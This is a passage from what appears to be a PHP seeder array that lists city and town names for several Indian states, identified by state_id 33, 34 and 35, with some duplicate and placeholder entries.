['state_id' => '33', 'name' => 'anupgarh'],\n ['state_id' => '33', 'name' => 'asind'],\n ['state_id' => '33', 'name' => 'bagar'],\n ['state_id' => '33', 'name' => 'bagru'],\n ['state_id' => '33', 'name' => 'bahror'],\n ['state_id' => '33', 'name' => 'bakani'],\n ['state_id' => '33', 'name' => 'bali'],\n ['state_id' => '33', 'name' => 'balotra'],\n ['state_id' => '33', 'name' => 'bandikui'],\n ['state_id' => '33', 'name' => 'banswara'],\n ['state_id' => '33', 'name' => 'baran'],\n ['state_id' => '33', 'name' => 'bari'],\n ['state_id' => '33', 'name' => 'bari sadri'],\n ['state_id' => '33', 'name' => 'barmer'],\n ['state_id' => '33', 'name' => 'basi'],\n ['state_id' => '33', 'name' => 'basni belima'],\n ['state_id' => '33', 'name' => 'baswa'],\n ['state_id' => '33', 'name' => 'bayana'],\n ['state_id' => '33', 'name' => 'beawar'],\n ['state_id' => '33', 'name' => 'begun'],\n ['state_id' => '33', 'name' => 'bhadasar'],\n ['state_id' => '33', 'name' => 'bhadra'],\n ['state_id' => '33', 'name' => 'bhalariya'],\n ['state_id' => '33', 'name' => 'bharatpur'],\n ['state_id' => '33', 'name' => 'bhasawar'],\n ['state_id' => '33', 'name' => 'bhawani mandi'],\n ['state_id' => '33', 'name' => 'bhawri'],\n ['state_id' => '33', 'name' => 'bhilwara'],\n ['state_id' => '33', 'name' => 'bhindar'],\n ['state_id' => '33', 'name' => 'bhinmal'],\n ['state_id' => '33', 'name' => 'bhiwadi'],\n ['state_id' => '33', 'name' => 'bijoliya kalan'],\n ['state_id' => '33', 'name' => 'bikaner'],\n ['state_id' => '33', 'name' => 'bilara'],\n ['state_id' => '33', 'name' => 'bissau'],\n ['state_id' => '33', 'name' => 'borkhera'],\n ['state_id' => '33', 'name' => 'budhpura'],\n ['state_id' => '33', 'name' => 'bundi'],\n ['state_id' => '33', 'name' => 'chatsu'],\n ['state_id' => '33', 'name' => 'chechat'],\n ['state_id' => '33', 'name' => 'chhabra'],\n ['state_id' => '33', 'name' => 'chhapar'],\n ['state_id' => '33', 'name' => 'chhipa barod'],\n ['state_id' => '33', 'name' => 'chhoti sadri'],\n ['state_id' => '33', 'name' => 'chirawa'],\n ['state_id' => '33', 'name' => 'chittaurgarh'],\n ['state_id' => '33', 'name' => 'chittorgarh'],\n ['state_id' => '33', 'name' => 'chomun'],\n ['state_id' => '33', 'name' => 'churu'],\n ['state_id' => '33', 'name' => 'daosa'],\n ['state_id' => '33', 'name' => 'dariba'],\n ['state_id' => '33', 'name' => 'dausa'],\n ['state_id' => '33', 'name' => 'deoli'],\n ['state_id' => '33', 'name' => 'deshnok'],\n ['state_id' => '33', 'name' => 'devgarh'],\n ['state_id' => '33', 'name' => 'devli'],\n ['state_id' => '33', 'name' => 'dhariawad'],\n ['state_id' => '33', 'name' => 'dhaulpur'],\n ['state_id' => '33', 'name' => 'dholpur'],\n ['state_id' => '33', 'name' => 'didwana'],\n ['state_id' => '33', 'name' => 'dig'],\n ['state_id' => '33', 'name' => 'dungargarh'],\n ['state_id' => '33', 'name' => 'dungarpur'],\n ['state_id' => '33', 'name' => 'falna'],\n ['state_id' => '33', 'name' => 'fatehnagar'],\n ['state_id' => '33', 'name' => 'fatehpur'],\n ['state_id' => '33', 'name' => 'gajsinghpur'],\n ['state_id' => '33', 'name' => 'galiakot'],\n ['state_id' => '33', 'name' => 'ganganagar'],\n ['state_id' => '33', 'name' => 'gangapur'],\n ['state_id' => '33', 'name' => 'goredi chancha'],\n ['state_id' => '33', 'name' => 'gothra'],\n ['state_id' => '33', 'name' => 'govindgarh'],\n ['state_id' => '33', 'name' => 'gulabpura'],\n ['state_id' => '33', 'name' => 'hanumangarh'],\n ['state_id' => '33', 'name' => 'hindaun'],\n ['state_id' => '33', 'name' => 'indragarh'],\n ['state_id' => '33', 'name' => 'jahazpur'],\n ['state_id' => '33', 'name' => 'jaipur'],\n ['state_id' => '33', 'name' => 'jaisalmer'],\n ['state_id' => '33', 'name' => 'jaiselmer'],\n ['state_id' => '33', 'name' => 'jaitaran'],\n ['state_id' => '33', 'name' => 'jalore'],\n ['state_id' => '33', 'name' => 'jhalawar'],\n ['state_id' => '33', 'name' => 'jhalrapatan'],\n ['state_id' => '33', 'name' => 'jhunjhunun'],\n ['state_id' => '33', 'name' => 'jobner'],\n ['state_id' => '33', 'name' => 'jodhpur'],\n ['state_id' => '33', 'name' => 'kaithun'],\n ['state_id' => '33', 'name' => 'kaman'],\n ['state_id' => '33', 'name' => 'kankroli'],\n ['state_id' => '33', 'name' => 'kanor'],\n ['state_id' => '33', 'name' => 'kapasan'],\n ['state_id' => '33', 'name' => 'kaprain'],\n ['state_id' => '33', 'name' => 'karanpura'],\n ['state_id' => '33', 'name' => 'karauli'],\n ['state_id' => '33', 'name' => 'kekri'],\n ['state_id' => '33', 'name' => 'keshorai patan'],\n ['state_id' => '33', 'name' => 'kesrisinghpur'],\n ['state_id' => '33', 'name' => 'khairthal'],\n ['state_id' => '33', 'name' => 'khandela'],\n ['state_id' => '33', 'name' => 'khanpur'],\n ['state_id' => '33', 'name' => 'kherli'],\n ['state_id' => '33', 'name' => 'kherliganj'],\n ['state_id' => '33', 'name' => 'kherwara chhaoni'],\n ['state_id' => '33', 'name' => 'khetri'],\n ['state_id' => '33', 'name' => 'kiranipura'],\n ['state_id' => '33', 'name' => 'kishangarh'],\n ['state_id' => '33', 'name' => 'kishangarh ranwal'],\n ['state_id' => '33', 'name' => 'kolvi rajendrapura'],\n ['state_id' => '33', 'name' => 'kot putli'],\n ['state_id' => '33', 'name' => 'kota'],\n ['state_id' => '33', 'name' => 'kuchaman'],\n ['state_id' => '33', 'name' => 'kuchera'],\n ['state_id' => '33', 'name' => 'kumbhalgarh'],\n ['state_id' => '33', 'name' => 'kumbhkot'],\n ['state_id' => '33', 'name' => 'kumher'],\n ['state_id' => '33', 'name' => 'kushalgarh'],\n ['state_id' => '33', 'name' => 'lachhmangarh'],\n ['state_id' => '33', 'name' => 'ladnun'],\n ['state_id' => '33', 'name' => 'lakheri'],\n ['state_id' => '33', 'name' => 'lalsot'],\n ['state_id' => '33', 'name' => 'losal'],\n ['state_id' => '33', 'name' => 'madanganj'],\n ['state_id' => '33', 'name' => 'mahu kalan'],\n ['state_id' => '33', 'name' => 'mahwa'],\n ['state_id' => '33', 'name' => 'makrana'],\n ['state_id' => '33', 'name' => 'malpura'],\n ['state_id' => '33', 'name' => 'mandal'],\n ['state_id' => '33', 'name' => 'mandalgarh'],\n ['state_id' => '33', 'name' => 'mandawar'],\n ['state_id' => '33', 'name' => 'mandwa'],\n ['state_id' => '33', 'name' => 'mangrol'],\n ['state_id' => '33', 'name' => 'manohar thana'],\n ['state_id' => '33', 'name' => 'manoharpur'],\n ['state_id' => '33', 'name' => 'marwar'],\n ['state_id' => '33', 'name' => 'merta'],\n ['state_id' => '33', 'name' => 'modak'],\n ['state_id' => '33', 'name' => 'mount abu'],\n ['state_id' => '33', 'name' => 'mukandgarh'],\n ['state_id' => '33', 'name' => 'mundwa'],\n ['state_id' => '33', 'name' => 'nadbai'],\n ['state_id' => '33', 'name' => 'naenwa'],\n ['state_id' => '33', 'name' => 'nagar'],\n ['state_id' => '33', 'name' => 'nagaur'],\n ['state_id' => '33', 'name' => 'napasar'],\n ['state_id' => '33', 'name' => 'naraina'],\n ['state_id' => '33', 'name' => 'nasirabad'],\n ['state_id' => '33', 'name' => 'nathdwara'],\n ['state_id' => '33', 'name' => 'nawa'],\n ['state_id' => '33', 'name' => 'nawalgarh'],\n ['state_id' => '33', 'name' => 'neem ka thana'],\n ['state_id' => '33', 'name' => 'neemrana'],\n ['state_id' => '33', 'name' => 'newa talai'],\n ['state_id' => '33', 'name' => 'nimaj'],\n ['state_id' => '33', 'name' => 'nimbahera'],\n ['state_id' => '33', 'name' => 'niwai'],\n ['state_id' => '33', 'name' => 'nohar'],\n ['state_id' => '33', 'name' => 'nokha'],\n ['state_id' => '33', 'name' => 'one sgm'],\n ['state_id' => '33', 'name' => 'padampur'],\n ['state_id' => '33', 'name' => 'pali'],\n ['state_id' => '33', 'name' => 'partapur'],\n ['state_id' => '33', 'name' => 'parvatsar'],\n ['state_id' => '33', 'name' => 'pasoond'],\n ['state_id' => '33', 'name' => 'phalna'],\n ['state_id' => '33', 'name' => 'phalodi'],\n ['state_id' => '33', 'name' => 'phulera'],\n ['state_id' => '33', 'name' => 'pilani'],\n ['state_id' => '33', 'name' => 'pilibanga'],\n ['state_id' => '33', 'name' => 'pindwara'],\n ['state_id' => '33', 'name' => 'pipalia kalan'],\n ['state_id' => '33', 'name' => 'pipar'],\n ['state_id' => '33', 'name' => 'pirawa'],\n ['state_id' => '33', 'name' => 'pokaran'],\n ['state_id' => '33', 'name' => 'pratapgarh'],\n ['state_id' => '33', 'name' => 'pushkar'],\n ['state_id' => '33', 'name' => 'raipur'],\n ['state_id' => '33', 'name' => 'raisinghnagar'],\n ['state_id' => '33', 'name' => 'rajakhera'],\n ['state_id' => '33', 'name' => 'rajaldesar'],\n ['state_id' => '33', 'name' => 'rajgarh'],\n ['state_id' => '33', 'name' => 'rajsamand'],\n ['state_id' => '33', 'name' => 'ramganj mandi'],\n ['state_id' => '33', 'name' => 'ramgarh'],\n ['state_id' => '33', 'name' => 'rani'],\n ['state_id' => '33', 'name' => 'raniwara'],\n ['state_id' => '33', 'name' => 'ratan nagar'],\n ['state_id' => '33', 'name' => 'ratangarh'],\n ['state_id' => '33', 'name' => 'rawatbhata'],\n ['state_id' => '33', 'name' => 'rawatsar'],\n ['state_id' => '33', 'name' => 'rikhabdev'],\n ['state_id' => '33', 'name' => 'ringas'],\n ['state_id' => '33', 'name' => 'sadri'],\n ['state_id' => '33', 'name' => 'sadulshahar'],\n ['state_id' => '33', 'name' => 'sagwara'],\n ['state_id' => '33', 'name' => 'salumbar'],\n ['state_id' => '33', 'name' => 'sambhar'],\n ['state_id' => '33', 'name' => 'samdari'],\n ['state_id' => '33', 'name' => 'sanchor'],\n ['state_id' => '33', 'name' => 'sangariya'],\n ['state_id' => '33', 'name' => 'sangod'],\n ['state_id' => '33', 'name' => 'sardarshahr'],\n ['state_id' => '33', 'name' => 'sarwar'],\n ['state_id' => '33', 'name' => 'satal kheri'],\n ['state_id' => '33', 'name' => 'sawai madhopur'],\n ['state_id' => '33', 'name' => 'sewan kalan'],\n ['state_id' => '33', 'name' => 'shahpura'],\n ['state_id' => '33', 'name' => 'sheoganj'],\n ['state_id' => '33', 'name' => 'sikar'],\n ['state_id' => '33', 'name' => 'sirohi'],\n ['state_id' => '33', 'name' => 'siwana'],\n ['state_id' => '33', 'name' => 'sogariya'],\n ['state_id' => '33', 'name' => 'sojat'],\n ['state_id' => '33', 'name' => 'sojat road'],\n ['state_id' => '33', 'name' => 'sri madhopur'],\n ['state_id' => '33', 'name' => 'sriganganagar'],\n ['state_id' => '33', 'name' => 'sujangarh'],\n ['state_id' => '33', 'name' => 'suket'],\n ['state_id' => '33', 'name' => 'sumerpur'],\n ['state_id' => '33', 'name' => 'sunel'],\n ['state_id' => '33', 'name' => 'surajgarh'],\n ['state_id' => '33', 'name' => 'suratgarh'],\n ['state_id' => '33', 'name' => 'swaroopganj'],\n ['state_id' => '33', 'name' => 'takhatgarh'],\n ['state_id' => '33', 'name' => 'taranagar'],\n ['state_id' => '33', 'name' => 'three str'],\n ['state_id' => '33', 'name' => 'tijara'],\n ['state_id' => '33', 'name' => 'toda bhim'],\n ['state_id' => '33', 'name' => 'toda raisingh'],\n ['state_id' => '33', 'name' => 'todra'],\n ['state_id' => '33', 'name' => 'tonk'],\n ['state_id' => '33', 'name' => 'udaipur'],\n ['state_id' => '33', 'name' => 'udpura'],\n ['state_id' => '33', 'name' => 'uniara'],\n ['state_id' => '33', 'name' => 'vanasthali'],\n ['state_id' => '33', 'name' => 'vidyavihar'],\n ['state_id' => '33', 'name' => 'vijainagar'],\n ['state_id' => '33', 'name' => 'viratnagar'],\n ['state_id' => '33', 'name' => 'wer'],\n ['state_id' => '34', 'name' => 'gangtok'],\n ['state_id' => '34', 'name' => 'gezing'],\n ['state_id' => '34', 'name' => 'jorethang'],\n ['state_id' => '34', 'name' => 'mangan'],\n ['state_id' => '34', 'name' => 'namchi'],\n ['state_id' => '34', 'name' => 'naya bazar'],\n ['state_id' => '34', 'name' => 'no city'],\n ['state_id' => '34', 'name' => 'rangpo'],\n ['state_id' => '34', 'name' => 'sikkim'],\n ['state_id' => '34', 'name' => 'singtam'],\n ['state_id' => '34', 'name' => 'upper tadong'],\n ['state_id' => '35', 'name' => 'abiramam'],\n ['state_id' => '35', 'name' => 'achampudur'],\n ['state_id' => '35', 'name' => 'acharapakkam'],\n ['state_id' => '35', 'name' => 'acharipallam'],\n ['state_id' => '35', 'name' => 'achipatti'],\n ['state_id' => '35', 'name' => 'adikaratti'],\n ['state_id' => '35', 'name' => 'adiramapattinam'],\n ['state_id' => '35', 'name' => 'aduturai'],\n ['state_id' => '35', 'name' => 'adyar'],\n ['state_id' => '35', 'name' => 'agaram'],\n ['state_id' => '35', 'name' => 'agasthiswaram'],\n ['state_id' => '35', 'name' => 'akkaraipettai'],\n ['state_id' => '35', 'name' => 'alagappapuram'],\n ['state_id' => '35', 'name' => 'alagapuri'],\n ['state_id' => '35', 'name' => 'alampalayam'],\n ['state_id' => '35', 'name' => 'alandur'],\n ['state_id' => '35', 'name' => 'alanganallur'],\n ['state_id' => '35', 'name' => 'alangayam'],\n ['state_id' => '35', 'name' => 'alangudi'],\n ['state_id' => '35', 'name' => 'alangulam'],\n ['state_id' => '35', 'name' => 'alanthurai'],\n ['state_id' => '35', 'name' => 'alapakkam'],\n ['state_id' => '35', 'name' => 'allapuram'],\n ['state_id' => '35', 'name' => 'alur'],\n ['state_id' => '35', 'name' => 'alwar tirunagari'],\n ['state_id' => '35', 'name' => 'alwarkurichi'],\n ['state_id' => '35', 'name' => 'ambasamudram'],\n ['state_id' => '35', 'name' => 'ambur'],\n ['state_id' => '35', 'name' => 'ammainaickanur'],\n ['state_id' => '35', 'name' => 'ammaparikuppam'],\n ['state_id' => '35', 'name' => 'ammapettai'],\n ['state_id' => '35', 'name' => 'ammavarikuppam'],\n ['state_id' => '35', 'name' => 'ammur'],\n ['state_id' => '35', 'name' => 'anaimalai'],\n ['state_id' => '35', 'name' => 'anaiyur'],\n ['state_id' => '35', 'name' => 'anakaputhur'],\n ['state_id' => '35', 'name' => 'ananthapuram'],\n ['state_id' => '35', 'name' => 'andanappettai'],\n ['state_id' => '35', 'name' => 'andipalayam'],\n ['state_id' => '35', 'name' => 'andippatti'],\n ['state_id' => '35', 'name' => 'anjugramam'],\n ['state_id' => '35', 'name' => 'annamalainagar'],\n ['state_id' => '35', 'name' => 'annavasal'],\n ['state_id' => '35', 'name' => 'annur'],\n ['state_id' => '35', 'name' => 'anthiyur'],\n ['state_id' => '35', 'name' => 'appakudal'],\n ['state_id' => '35', 'name' => 'arachalur'],\n ['state_id' => '35', 'name' => 'arakandanallur'],\n ['state_id' => '35', 'name' => 'arakonam'],\n ['state_id' => '35', 'name' => 'aralvaimozhi'],\n ['state_id' => '35', 'name' => 'arani'],\n ['state_id' => '35', 'name' => 'arani road'],\n ['state_id' => '35', 'name' => 'arantangi'],\n ['state_id' => '35', 'name' => 'arasiramani'],\n ['state_id' => '35', 'name' => 'aravakurichi'],\n ['state_id' => '35', 'name' => 'aravankadu'],\n ['state_id' => '35', 'name' => 'arcot'],\n ['state_id' => '35', 'name' => 'arimalam'],\n ['state_id' => '35', 'name' => 'ariyalur'],\n ['state_id' => '35', 'name' => 'ariyappampalayam'],\n ['state_id' => '35', 'name' => 'ariyur'],\n ['state_id' => '35', 'name' => 'arni'],\n ['state_id' => '35', 'name' => 'arulmigu thirumuruganpundi'],\n ['state_id' => '35', 'name' => 'arumanai'],\n ['state_id' => '35', 'name' => 'arumbavur'],\n ['state_id' => '35', 'name' => 'arumuganeri'],\n ['state_id' => '35', 'name' => 'aruppukkottai'],\n ['state_id' => '35', 'name' => 'ashokapuram'],\n ['state_id' => '35', 'name' => 'athani'],\n ['state_id' => '35', 'name' => 'athanur'],\n ['state_id' => '35', 'name' => 'athimarapatti'],\n ['state_id' => '35', 'name' => 'athipattu'],\n ['state_id' => '35', 'name' => 'athur'],\n ['state_id' => '35', 'name' => 'attayyampatti'],\n ['state_id' => '35', 'name' => 'attur'],\n ['state_id' => '35', 'name' => 'auroville'],\n ['state_id' => '35', 'name' => 'avadattur'],\n ['state_id' => '35', 'name' => 'avadi'],\n ['state_id' => '35', 'name' => 'avalpundurai'],\n ['state_id' => '35', 'name' => 'avaniapuram'],\n ['state_id' => '35', 'name' => 'avinashi'],\n ['state_id' => '35', 'name' => 'ayakudi'],\n ['state_id' => '35', 'name' => 'ayanadaippu'],\n ['state_id' => '35', 'name' => 'aygudi'],\n ['state_id' => '35', 'name' => 'ayothiapattinam'],\n ['state_id' => '35', 'name' => 'ayyalur'],\n ['state_id' => '35', 'name' => 'ayyampalayam'],\n ['state_id' => '35', 'name' => 'ayyampettai'],\n ['state_id' => '35', 'name' => 'azhagiapandiapuram'],\n ['state_id' => '35', 'name' => 'balakrishnampatti'],\n ['state_id' => '35', 'name' => 'balakrishnapuram'],\n ['state_id' => '35', 'name' => 'balapallam'],\n ['state_id' => '35', 'name' => 'balasamudram'],\n ['state_id' => '35', 'name' => 'bargur'],\n ['state_id' => '35', 'name' => 'belur'],\n ['state_id' => '35', 'name' => 'berhatty'],\n ['state_id' => '35', 'name' => 'bhavani'],\n ['state_id' => '35', 'name' => 'bhawanisagar'],\n ['state_id' => '35', 'name' => 'bhuvanagiri'],\n ['state_id' => '35', 'name' => 'bikketti'],\n ['state_id' => '35', 'name' => 'bodinayakkanur'],\n ['state_id' => '35', 'name' => 'brahmana periya agraharam'],\n ['state_id' => '35', 'name' => 'buthapandi'],\n ['state_id' => '35', 'name' => 'buthipuram'],\n ['state_id' => '35', 'name' => 'chatrapatti'],\n ['state_id' => '35', 'name' => 'chembarambakkam'],\n ['state_id' => '35', 'name' => 'chengalpattu'],\n ['state_id' => '35', 'name' => 'chengam'],\n ['state_id' => '35', 'name' => 'chennai'],\n ['state_id' => '35', 'name' => 'chennasamudram'],\n ['state_id' => '35', 'name' => 'chennimalai'],\n ['state_id' => '35', 'name' => 'cheranmadevi'],\n ['state_id' => '35', 'name' => 'cheruvanki'],\n ['state_id' => '35', 'name' => 'chetpet'],\n ['state_id' => '35', 'name' => 'chettiarpatti'],\n ['state_id' => '35', 'name' => 'chettipalaiyam'],\n ['state_id' => '35', 'name' => 'chettipalayam cantonment'],\n ['state_id' => '35', 'name' => 'chettithangal'],\n ['state_id' => '35', 'name' => 'cheyur'],\n ['state_id' => '35', 'name' => 'cheyyar'],\n ['state_id' => '35', 'name' => 'chidambaram'],\n ['state_id' => '35', 'name' => 'chinalapatti'],\n ['state_id' => '35', 'name' => 'chinna anuppanadi'],\n ['state_id' => '35', 'name' => 'chinna salem'],\n ['state_id' => '35', 'name' => 'chinnakkampalayam'],\n ['state_id' => '35', 'name' => 'chinnammanur'],\n ['state_id' => '35', 'name' => 'chinnampalaiyam'],\n ['state_id' => '35', 'name' => 'chinnasekkadu'],\n ['state_id' => '35', 'name' => 'chinnavedampatti'],\n ['state_id' => '35', 'name' => 'chitlapakkam'],\n ['state_id' => '35', 'name' => 'chittodu'],\n ['state_id' => '35', 'name' => 'cholapuram'],\n ['state_id' => '35', 'name' => 'coimbatore'],\n ['state_id' => '35', 'name' => 'coonoor'],\n ['state_id' => '35', 'name' => 'courtalam'],\n ['state_id' => '35', 'name' => 'cuddalore'],\n ['state_id' => '35', 'name' => 'dalavaipatti'],\n ['state_id' => '35', 'name' => 'darasuram'],\n ['state_id' => '35', 'name' => 'denkanikottai'],\n ['state_id' => '35', 'name' => 'desur'],\n ['state_id' => '35', 'name' => 'devadanapatti'],\n ['state_id' => '35', 'name' => 'devakkottai'],\n ['state_id' => '35', 'name' => 'devakottai'],\n ['state_id' => '35', 'name' => 'devanangurichi'],\n ['state_id' => '35', 'name' => 'devarshola'],\n ['state_id' => '35', 'name' => 'devasthanam'],\n ['state_id' => '35', 'name' => 'dhalavoipuram'],\n ['state_id' => '35', 'name' => 'dhali'],\n ['state_id' => '35', 'name' => 'dhaliyur'],\n ['state_id' => '35', 'name' => 'dharapadavedu'],\n ['state_id' => '35', 'name' => 'dharapuram'],\n ['state_id' => '35', 'name' => 'dharmapuri'],\n ['state_id' => '35', 'name' => 'dindigul'],\n ['state_id' => '35', 'name' => 'dusi'],\n ['state_id' => '35', 'name' => 'edaganasalai'],\n ['state_id' => '35', 'name' => 'edaikodu'],\n ['state_id' => '35', 'name' => 'edakalinadu'],\n ['state_id' => '35', 'name' => 'elathur'],\n ['state_id' => '35', 'name' => 'elayirampannai'],\n ['state_id' => '35', 'name' => 'elumalai'],\n ['state_id' => '35', 'name' => 'eral'],\n ['state_id' => '35', 'name' => 'eraniel'],\n ['state_id' => '35', 'name' => 'eriodu'],\n ['state_id' => '35', 'name' => 'erode'],\n ['state_id' => '35', 'name' => 'erumaipatti'],\n ['state_id' => '35', 'name' => 'eruvadi'],\n ['state_id' => '35', 'name' => 'ethapur'],\n ['state_id' => '35', 'name' => 'ettaiyapuram'],\n ['state_id' => '35', 'name' => 'ettimadai'],\n ['state_id' => '35', 'name' => 'ezhudesam'],\n ['state_id' => '35', 'name' => 'ganapathipuram'],\n ['state_id' => '35', 'name' => 'gandhi nagar'],\n ['state_id' => '35', 'name' => 'gangaikondan'],\n ['state_id' => '35', 'name' => 'gangavalli'],\n ['state_id' => '35', 'name' => 'ganguvarpatti'],\n ['state_id' => '35', 'name' => 'gingi'],\n ['state_id' => '35', 'name' => 'gopalasamudram'],\n ['state_id' => '35', 'name' => 'gopichettipalaiyam'],\n ['state_id' => '35', 'name' => 'gudalur'],\n ['state_id' => '35', 'name' => 'gudiyattam'],\n ['state_id' => '35', 'name' => 'guduvanchery'],\n ['state_id' => '35', 'name' => 'gummidipoondi'],\n ['state_id' => '35', 'name' => 'hanumanthampatti'],\n ['state_id' => '35', 'name' => 'harur'],\n ['state_id' => '35', 'name' => 'harveypatti'],\n ['state_id' => '35', 'name' => 'highways'],\n ['state_id' => '35', 'name' => 'hosur'],\n ['state_id' => '35', 'name' => 'hubbathala'],\n ['state_id' => '35', 'name' => 'huligal'],\n ['state_id' => '35', 'name' => 'idappadi'],\n ['state_id' => '35', 'name' => 'idikarai'],\n ['state_id' => '35', 'name' => 'ilampillai'],\n ['state_id' => '35', 'name' => 'ilanji'],\n ['state_id' => '35', 'name' => 'iluppaiyurani'],\n ['state_id' => '35', 'name' => 'iluppur'],\n ['state_id' => '35', 'name' => 'inam karur'],\n ['state_id' => '35', 'name' => 'injambakkam'],\n ['state_id' => '35', 'name' => 'irugur'],\n ['state_id' => '35', 'name' => 'jaffrabad'],\n ['state_id' => '35', 'name' => 'jagathala'],\n ['state_id' => '35', 'name' => 'jalakandapuram'],\n ['state_id' => '35', 'name' => 'jalladiampet'],\n ['state_id' => '35', 'name' => 'jambai'],\n ['state_id' => '35', 'name' => 'jayankondam'],\n ['state_id' => '35', 'name' => 'jolarpet'],\n ['state_id' => '35', 'name' => 'kadambur'],\n ['state_id' => '35', 'name' => 'kadathur'],\n ['state_id' => '35', 'name' => 'kadayal'],\n ['state_id' => '35', 'name' => 'kadayampatti'],\n ['state_id' => '35', 'name' => 'kadayanallur'],\n ['state_id' => '35', 'name' => 'kadiapatti'],\n ['state_id' => '35', 'name' => 'kalakkad'],\n ['state_id' => '35', 'name' => 'kalambur'],\n ['state_id' => '35', 'name' => 'kalapatti'],\n ['state_id' => '35', 'name' => 'kalappanaickenpatti'],\n ['state_id' => '35', 'name' => 'kalavai'],\n ['state_id' => '35', 'name' => 'kalinjur'],\n ['state_id' => '35', 'name' => 'kaliyakkavilai'],\n ['state_id' => '35', 'name' => 'kallakkurichi'],\n ['state_id' => '35', 'name' => 'kallakudi'],\n ['state_id' => '35', 'name' => 'kallidaikurichchi'],\n ['state_id' => '35', 'name' => 'kallukuttam'],\n ['state_id' => '35', 'name' => 'kallupatti'],\n ['state_id' => '35', 'name' => 'kalpakkam'],\n ['state_id' => '35', 'name' => 'kalugumalai'],\n ['state_id' => '35', 'name' => 'kamayagoundanpatti'],\n ['state_id' => '35', 'name' => 'kambainallur'],\n ['state_id' => '35', 'name' => 'kambam'],\n ['state_id' => '35', 'name' => 'kamuthi'],\n ['state_id' => '35', 'name' => 'kanadukathan'],\n ['state_id' => '35', 'name' => 'kanakkampalayam'],\n ['state_id' => '35', 'name' => 'kanam'],\n ['state_id' => '35', 'name' => 'kanchipuram'],\n ['state_id' => '35', 'name' => 'kandanur'],\n ['state_id' => '35', 'name' => 'kangayam'],\n ['state_id' => '35', 'name' => 'kangayampalayam'],\n ['state_id' => '35', 'name' => 'kangeyanallur'],\n ['state_id' => '35', 'name' => 'kaniyur'],\n ['state_id' => '35', 'name' => 'kanjikoil'],\n ['state_id' => '35', 'name' => 'kannadendal'],\n ['state_id' => '35', 'name' => 'kannamangalam'],\n ['state_id' => '35', 'name' => 'kannampalayam'],\n ['state_id' => '35', 'name' => 'kannankurichi'],\n ['state_id' => '35', 'name' => 'kannapalaiyam'],\n ['state_id' => '35', 'name' => 'kannivadi'],\n ['state_id' => '35', 'name' => 'kanyakumari'],\n ['state_id' => '35', 'name' => 'kappiyarai'],\n ['state_id' => '35', 'name' => 'karaikkudi'],\n ['state_id' => '35', 'name' => 'karamadai'],\n ['state_id' => '35', 'name' => 'karambakkam'],\n ['state_id' => '35', 'name' => 'karambakkudi'],\n ['state_id' => '35', 'name' => 'kariamangalam'],\n ['state_id' => '35', 'name' => 'kariapatti'],\n ['state_id' => '35', 'name' => 'karugampattur'],\n ['state_id' => '35', 'name' => 'karumandi chellipalayam'],\n ['state_id' => '35', 'name' => 'karumathampatti'],\n ['state_id' => '35', 'name' => 'karumbakkam'],\n ['state_id' => '35', 'name' => 'karungal'],\n ['state_id' => '35', 'name' => 'karunguzhi'],\n ['state_id' => '35', 'name' => 'karuppur'],\n ['state_id' => '35', 'name' => 'karur'],\n ['state_id' => '35', 'name' => 'kasipalaiyam'],\n ['state_id' => '35', 'name' => 'kasipalayam g'],\n ['state_id' => '35', 'name' => 'kathirvedu'],\n ['state_id' => '35', 'name' => 'kathujuganapalli'],\n ['state_id' => '35', 'name' => 'katpadi'],\n ['state_id' => '35', 'name' => 'kattivakkam'],\n ['state_id' => '35', 'name' => 'kattumannarkoil'],\n ['state_id' => '35', 'name' => 'kattupakkam'],\n ['state_id' => '35', 'name' => 'kattuputhur'],\n ['state_id' => '35', 'name' => 'kaveripakkam'],\n ['state_id' => '35', 'name' => 'kaveripattinam'],\n ['state_id' => '35', 'name' => 'kavundampalaiyam'],\n ['state_id' => '35', 'name' => 'kavundampalayam'],\n ['state_id' => '35', 'name' => 'kayalpattinam'],\n ['state_id' => '35', 'name' => 'kayattar'],\n ['state_id' => '35', 'name' => 'kelamangalam'],\n ['state_id' => '35', 'name' => 'kelambakkam'],\n ['state_id' => '35', 'name' => 'kembainaickenpalayam'],\n ['state_id' => '35', 'name' => 'kethi'],\n ['state_id' => '35', 'name' => 'kilakarai'],\n ['state_id' => '35', 'name' => 'kilampadi'],\n ['state_id' => '35', 'name' => 'kilkulam'],\n ['state_id' => '35', 'name' => 'kilkunda'],\n ['state_id' => '35', 'name' => 'killiyur'],\n ['state_id' => '35', 'name' => 'killlai'],\n ['state_id' => '35', 'name' => 'kilpennathur'],\n ['state_id' => '35', 'name' => 'kilvelur'],\n ['state_id' => '35', 'name' => 'kinathukadavu'],\n ['state_id' => '35', 'name' => 'kiramangalam'],\n ['state_id' => '35', 'name' => 'kiranur'],\n ['state_id' => '35', 'name' => 'kiripatti'],\n ['state_id' => '35', 'name' => 'kizhapavur'],\n ['state_id' => '35', 'name' => 'kmarasamipatti'],\n ['state_id' => '35', 'name' => 'kochadai'],\n ['state_id' => '35', 'name' => 'kodaikanal'],\n ['state_id' => '35', 'name' => 'kodambakkam'],\n ['state_id' => '35', 'name' => 'kodavasal'],\n ['state_id' => '35', 'name' => 'kodumudi'],\n ['state_id' => '35', 'name' => 'kolachal'],\n ['state_id' => '35', 'name' => 'kolappalur'],\n ['state_id' => '35', 'name' => 'kolathupalayam'],\n ['state_id' => '35', 'name' => 'kolathur'],\n ['state_id' => '35', 'name' => 'kollankodu'],\n ['state_id' => '35', 'name' => 'kollankoil'],\n ['state_id' => '35', 'name' => 'komaralingam'],\n ['state_id' => '35', 'name' => 'komarapalayam'],\n ['state_id' => '35', 'name' => 'kombai'],\n ['state_id' => '35', 'name' => 'konakkarai'],\n ['state_id' => '35', 'name' => 'konavattam'],\n ['state_id' => '35', 'name' => 'kondalampatti'],\n ['state_id' => '35', 'name' => 'konganapuram'],\n ['state_id' => '35', 'name' => 'koradacheri'],\n ['state_id' => '35', 'name' => 'korampallam'],\n ['state_id' => '35', 'name' => 'kotagiri'],\n ['state_id' => '35', 'name' => 'kothinallur'],\n ['state_id' => '35', 'name' => 'kottaiyur'],\n ['state_id' => '35', 'name' => 'kottakuppam'],\n ['state_id' => '35', 'name' => 'kottaram'],\n ['state_id' => '35', 'name' => 'kottivakkam'],\n ['state_id' => '35', 'name' => 'kottur'],\n ['state_id' => '35', 'name' => 'kovilpatti'],\n ['state_id' => '35', 'name' => 'koyampattur'],\n ['state_id' => '35', 'name' => 'krishnagiri'],\n ['state_id' => '35', 'name' => 'krishnarayapuram'],\n ['state_id' => '35', 'name' => 'krishnasamudram'],\n ['state_id' => '35', 'name' => 'kuchanur'],\n ['state_id' => '35', 'name' => 'kuhalur'],\n ['state_id' => '35', 